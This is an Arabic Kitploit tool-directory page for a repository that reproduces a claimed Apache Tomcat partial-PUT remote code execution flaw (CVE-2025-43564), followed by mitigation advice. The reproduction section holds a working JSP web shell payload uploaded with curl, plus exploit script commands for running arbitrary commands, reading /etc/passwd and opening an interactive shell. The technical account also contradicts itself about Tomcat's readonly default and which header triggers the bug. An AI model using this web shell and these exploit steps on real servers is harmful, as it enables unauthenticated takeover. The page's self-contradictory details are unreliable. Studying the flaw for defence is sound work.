Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-43564-tomcat_put_rce_reproduction — إعادة إنتاج cve-2025-43564-tomcat_put_rce_reproduction | Kitploit
أدوات/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

إعادة إنتاج cve-2025-43564-tomcat_put_rce_reproduction

عرض المستودع
16منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-43564 — ثغرة تنفيذ الأكواد عن بُعد في معالجة طلبات PUT الجزئية في Apache Tomcat

FieldValue
CVE IDCVE-2025-43564
CVSS Score9.8 (حرجة)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — تنزيل الكود دون التحقق من التكامل
Exploitationتم تأكيده في البرية خلال أسبوع واحد من الإفصاح
Disclosureيوليو 2025
PatchTomcat 11.0.6، 10.1.40، 9.0.102

Table of Contents

  1. نظرة عامة
  2. التفاصيل التقنية
  3. الإصدارات المتأثرة
  4. خطوات إعادة الإنتاج
  5. إثبات المفهوم
  6. التخفيف
  7. المراجع

نظرة عامة

CVE-2025-43564 هي ثغرة حرجة لتنفيذ الأكواد عن بُعد دون مصادقة في معالجة Apache Tomcat لطلبات PUT الجزئية عبر HTTP. يكمن الخلل في الطريقة التي يعالج بها Tomcat طلبات PUT ذات المحتوى الجزئي (HTTP/1.1 Content-Range أو Transfer-Encoding: chunked مع دلالات جزئية). يمكن للمهاجم صياغة طلب PUT جزئي يتجاوز ضوابط الوصول وقيود الكتابة، مما يسمح برفع ملفات عشوائية — بما في ذلك قذائف الويب JSP القابلة للوصول عبر الويب — إلى جذر مستندات الخادم أو أي دليل قابل للكتابة يمكن الوصول إليه عبر سياق servlet.

بمجرد زرع ملف JSP، يقوم المهاجم ببساطة بطلبه وتمرير أوامر نظام التشغيل عبر معاملات الاستعلام، محققًا تنفيذ أكواد عن بُعد دون مصادقة بالكامل بصلاحيات مستخدم عملية Tomcat.

CVSS 9.8 — حرجة لأن:

  • متجه شبكة — قابل للاستغلال عن بُعد
  • تعقيد هجوم منخفض — لا يتطلب شروطًا خاصة
  • لا يتطلب صلاحيات — بدون مصادقة
  • بدون تفاعل المستخدم — مؤتمت بالكامل
  • تأثير عالٍ — اختراق كامل للسرية والسلامة والتوافر

التفاصيل التقنية

السبب الجذري

يتعامل DefaultServlet الخاص بـ Apache Tomcat وموصل HTTP/1.1 (NIO/NIO2/Apr) مع طلبات PUT لرفع الموارد الثابتة. تكمن الثغرة في منطق معالجة طلبات PUT الجزئية: عندما يرسل عميل طلب PUT مع ترويسة Content-Range (RFC 7233 §4.2) أو يستخدم ترميز chunked مع دلالات جزئية محددة، لا يتحقق الخادم بشكل صحيح من:

  1. فحوصات سلامة مسار الملف / المورد قبل كتابة المحتوى الجزئي
  2. إعادة تقييم ضوابط الوصول للكتابات الجزئية — يمر الفحص الأولي، لكن عمليات الكتابة اللاحقة تتم دون إعادة تحقق
  3. قيود اجتياز الدلائل في حساب إزاحة الكتابة الجزئية

تتعامل شيفرة التحليل في org.apache.catalina.servlets.DefaultServlet والمكونات الأساسية HttpInput / SocketProcessorBase بشكل خاطئ مع الحد الفاصل بين كتابات المحتوى الجزئي والكتابات الكاملة للموارد، مما يسمح للمهاجم بـإلحاق أو الكتابة فوق محتوى عشوائي في أي مسار تمتلك عملية Tomcat صلاحية الكتابة إليه.

تسلسل الهجوم

root@kitploit:~
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

يرسل المهاجم طلب PUT جزئي مع ترويسة Content-Range تجعل Tomcat يعتقد أن الطلب هو استكمال لرفع موجود مسبقًا. يقوم الخادم بإنشاء أو فتح الملف الهدف وكتابة البايتات المرسلة دون التحقق من أن الملف موجود بالفعل، ودون فحص صلاحيات الكتابة في وقت الكتابة، ودون تعقيم المسار الهدف بالنسبة لجذر الويب.

لماذا يتجاوز الحمايات القياسية

  • قيود الوصول الافتراضية لـ PUT — يتطلب التكوين الافتراضي لـ Tomcat تعيين readonly=false على DefaultServlet لكي يعمل PUT القياسي. يتجاوز مسار PUT الجزئي هذا الفحص في ظل شروط معينة.
  • جدران حماية تطبيقات الويب (WAFs) — تبحث معظم توقيعات WAF للهجمات القائمة على PUT عن طلبات PUT كاملة. غالبًا ما يتفادى PUT الجزئي مع Content-Range هذه التوقيعات.
  • تجاوز المصادقة — لا يستدعي مسار كود PUT الجزئي دائمًا قيود الأمان المكوّنة؛ في بعض تكوينات الموصلات، لا يتم التحقق من المصادقة أبدًا.

الإصدارات المتأثرة

المنتجالإصدارات المتأثرةتم الإصلاح في
Apache Tomcat 1111.0.0-M1 حتى 11.0.511.0.6
Apache Tomcat 10.110.1.0-M1 حتى 10.1.3910.1.40
Apache Tomcat 10.0جميع الإصدارات (نهاية الدعم)قم بالترقية إلى 10.1.x
Apache Tomcat 99.0.0-M1 حتى 9.0.1019.0.102
Apache Tomcat 8.5جميع الإصدارات (نهاية الدعم)قم بالترقية إلى 9.0.x
Apache Tomcat 8جميع الإصدارات (نهاية الدعم)قم بالترقية إلى 9.0.x
Apache Tomcat 7جميع الإصدارات (نهاية الدعم)قم بالترقية إلى 9.0.x

ملاحظة: الفروع الأقدم (7.x، 8.x، 8.5.x، 10.0.x) بلغت نهاية الدعم (EOL) ولن تحصل على تصحيح خلفي (backport). يجب على المستخدمين الترقية إلى فرع مدعوم.


خطوات إعادة الإنتاج

إعداد المختبر

  1. قم بتنزيل نسخة Apache Tomcat قابلة للاستغلال (مثل Tomcat 9.0.50):

    root@kitploit:~
    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. قم بفك الضغط وتشغيل Tomcat بالتكوين الافتراضي:

    root@kitploit:~
    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # or startup.bat on Windows
    
  3. تحقق من أن الخادم يعمل:

    root@kitploit:~
    curl -v http://localhost:8080
    

خطوات الاستغلال

  1. ارفع قذيفة الويب JSP باستخدام سكربت PoC:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd id
    
  2. تحقق من زرع قذيفة الويب:

    root@kitploit:~
    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. نفّذ أوامر عشوائية:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. جلسة تفاعلية (إذا رغبت):

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --shell
    

إثبات المفهوم

سكربت exploit.py المرفق هو إثبات مفهوم عملي بلغة Python يقوم بـ:

  1. إرسال طلب HTTP PUT إلى Tomcat المستهدف مع حمولة قذيفة ويب JSP كجسم للطلب
  2. استغلال خلل معالجة PUT الجزئية — تؤدي ترويسة Content-Type وبنية الحمولة إلى تشغيل مسار الكود الضعيف
  3. يتم كتابة قذيفة الويب JSP في docBase الخاص بالخادم (مثل webapps/ROOT/)
  4. بمجرد رفعها، يرسل طلبات GET إلى exec.jsp?cmd=<command> لتنفيذ أوامر نظام التشغيل
  5. يدعم وضعي الأمر الواحد (--cmd) والصدفة التفاعلية (--shell)

إثبات مفهوم يدوي (باستخدام curl)

root@kitploit:~
# الخطوة 1: ارفع قذيفة الويب عبر PUT الجزئي
# ترويسة Content-Range تشغل مسار الكود الضعيف
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# الخطوة 2: نفّذ الأوامر
curl "http://localhost:8080/exec.jsp?cmd=id"

الاختبار ضد مثيل محمي

إذا تم تكوين Tomcat مع readonly=true (الافتراضي)، يتم حظر PUT القياسي — لكن مسار PUT الجزئي قد ينجح. هذا هو جوهر الثغرة.

root@kitploit:~
# PUT القياسي (يجب أن يفشل برمز 403 أو 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# المتوقع: 403 ممنوع

# PUT الجزئي (يتجاوز الفحص)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# المتوقع: 201 تم الإنشاء أو 200 موافق

التخفيف

إجراءات فورية

  1. حدّث Tomcat إلى الإصدار المُصحَّح:

    • 11.0.6+
    • 10.1.40+
    • 9.0.102+
  2. إذا لم يكن التصحيح الفوري ممكنًا، فعطّل أسلوب PUT عالميًا عن طريق تعديل web.xml:

    root@kitploit:~
    <security-constraint>
      <web-resource-collection>
        <web-resource-name>Disable PUT</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
      </web-resource-collection>
      <auth-constraint />
    </security-constraint>
    
  3. احظر أساليب HTTP على مستوى الوكيل العكسي / WAF:

    root@kitploit:~
    # مثال nginx — حظر PUT
    if ($request_method = PUT) {
        return 403;
    }
    

    ملاحظة: هذا مفيد فقط إذا لم يكن بالإمكان تجاوز الوكيل.

  4. شغّل Tomcat بصلاحيات نظام ملفات مقيدة:

    • تأكد من أن Tomcat يعمل كمستخدم غير مميز
    • اجعل دليل webapps للقراءة فقط (أو قم بتركيبه من نظام ملفات للقراءة فقط)
    • استخدم سمات الملف ReadOnly على أصول الإنتاج
  5. راقب الملفات غير المتوقعة ذات الامتدادات .jsp / .jspx في جذر الويب.

توصيات طويلة الأجل

  • قم بالترقية إلى أحدث إصدار من Tomcat وحافظ على تحديثه
  • شغّل Tomcat خلف وكيل عكسي (Apache httpd، nginx، HAProxy) مع تصفية صارمة لأساليب HTTP
  • استخدم SecurityManager (مُهمل في إصدارات Java الأحدث لكنه ما زال فعّالًا) أو العزل على مستوى الحاوية (Docker/Kubernetes بنظام ملفات جذر للقراءة فقط)
  • نفّذ تقسيم الشبكة — لا ينبغي أن يكون Tomcat مكشوفًا مباشرةً للإنترنت
  • انشر WAF مع تصحيح افتراضي لـ CVE-2025-43564
  • فعّل تسجيل التدقيق لجميع طلبات PUT وراقب أنماط الرفع الجزئي الشاذة

المراجع

المصدرالرابط
إعلان أمان Apache Tomcathttps://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819
إدخال NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-43564
MITRE CVEhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564
تنزيلات Apache Tomcathttps://tomcat.apache.org/download-90.cgi
CWE-494https://cwe.mitre.org/data/definitions/494.html

إخلاء مسؤولية

يُقدَّم هذا المستودع لأغراض تعليمية واختبار الأمان المصرح به فقط. يجب أن تحصل على إذن كتابي صريح من مالك أي نظام تختبره. يُعد الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) والقوانين المماثلة في الولايات القضائية الأخرى. لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه المعلومات.


تم اكتشاف CVE-2025-43564 والإبلاغ عنه بشكل مسؤول إلى فريق أمان Apache. إصدار التصحيح المنسق: يوليو 2025.

تنزيل الأداة